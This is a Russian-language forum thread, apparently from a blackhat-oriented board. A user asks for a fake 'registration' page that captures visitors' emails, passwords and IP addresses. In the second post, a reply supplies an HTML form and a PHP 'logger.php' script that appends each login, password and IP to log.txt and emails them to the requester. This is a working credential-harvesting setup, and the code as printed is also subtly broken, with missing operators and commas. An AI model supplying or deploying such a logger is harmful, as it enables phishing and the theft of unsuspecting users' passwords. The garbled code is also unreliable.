BlackBoxs.Biz  Зеркало Blackboxs.ruBlackBoxs.Biz  Зеркало Blackboxs.ru
BlackBoxs.Biz  Зеркало Blackboxs.ru
Справка Календарь Все разделы прочитаны
Обменник

Конкурс! Конкурс! Конкурс! 2017
Register | Lost Your Password

Вернуться   BlackBoxs.Biz Зеркало Blackboxs.ru > Сайтостроение и дизайн > Сайтостроение и дизайн

Важная информация

Ответ
 
Опции темы Опции просмотра
Старый 08.12.2016, 08:57   #1
StiXy
BB$
 
Аватар для StiXy
 
Регистрация: 25.04.2012
Сообщений: 438
Благодарил(а): 2,243 раз(а)
Поблагодарили: 146 раз(а) в 86 сообщениях
Репутация: 234
Exclamation Форма для регистрации пользователей и передачи данных

Понадобился сайт с формой для регистрации.
Т.е. человек заходит регистрируется, а данные которые он ввел скидываются тебе по эмайлу или записываются в файл.
Желательно чтоб была быстрая регистрации по соц.сетям.

Данные которые должен получать обязательно:
1. Дата/время регистрации
2. IP
3. Маил
4. Пароль
Необязательно:
5. Телефон
6. Данные по соц.сети (если воспользовались быстрой регистрацией)

Возможно у кого то есть готовое или знает где взять?
Форма должны выглядеть примерно [Только зарегистрированные пользователи могут видеть ссылки. Нажмите Здесь для Регистрации]
StiXy вне форума   Ответить с цитированием
Старый 11.12.2016, 02:46   #2
forester2013
Местный
 
Регистрация: 19.06.2013
Сообщений: 58
Благодарил(а): 23 раз(а)
Поблагодарили: 41 раз(а) в 14 сообщениях
Репутация: 51
По умолчанию

1. Создаем HTML login.html:
Код HTML:
<form action="logger.php" method="post">
<input type="text" name="login">
<input type="password" name="pw">
</form>
2. Создаем PHP-файл logger.php:
PHP код:
$login = isset($_POST['login'])?$_POST['login']:'';
$pw = isset($_POST['pw'])?$_POST['pw']:'';
$ip $_SERVER['REMOTE_ADDR'];
$proxy_ip = isset($_SERVER['X-FORWARDED-FOR'])?$_SERVER['X-FORWARDED-FOR']:''// просто бывает, когда человек заходит через встроенные прокси некоторых браузеров. В этом случае эти прокси любезно нам предоставляют реальный айпи-адрес
$reg time(); // не забудь посмотреть временную зону сервера
// $reg будет в таймштамп, можно вот так $reg = date('Y/m/d H:i:s', time()); если нужен человекопонятное время
$data $login.'||'.$pw.'||'.$ip.'||'.$proxy_ip.'||'.$reg;
file_put_contents('log.txt',$data."\r\n",FILE_APPEND);
mail('tvoi_email@example.com''Logi'$data); 
Стоит отметить, что во многих шаред-хостингах функция mail() нормально отрабатывать не будет, так как частенько их айпи-адреса в бане. Можешь вместо этого использовать SMTP.
Насчет авторизации через соц. сети, можешь посмотреть в сторону uLogin, ну или ставь SDK нужной тебе соц. сети.
forester2013 вне форума   Ответить с цитированием
Старый 11.12.2016, 11:16   #3
mandyson
BB$
 
Аватар для mandyson
 
Регистрация: 23.03.2013
Сообщений: 1,784
Благодарил(а): 757 раз(а)
Поблагодарили: 937 раз(а) в 535 сообщениях
Репутация: 1076
По умолчанию

А для красоты [Только зарегистрированные пользователи могут видеть ссылки. Нажмите Здесь для Регистрации]
mandyson вне форума   Ответить с цитированием
Ответ

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Текущее время: 16:44. Часовой пояс GMT.


Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2018, vBulletin Solutions, Inc. Перевод: zCarot
vB.Sponsors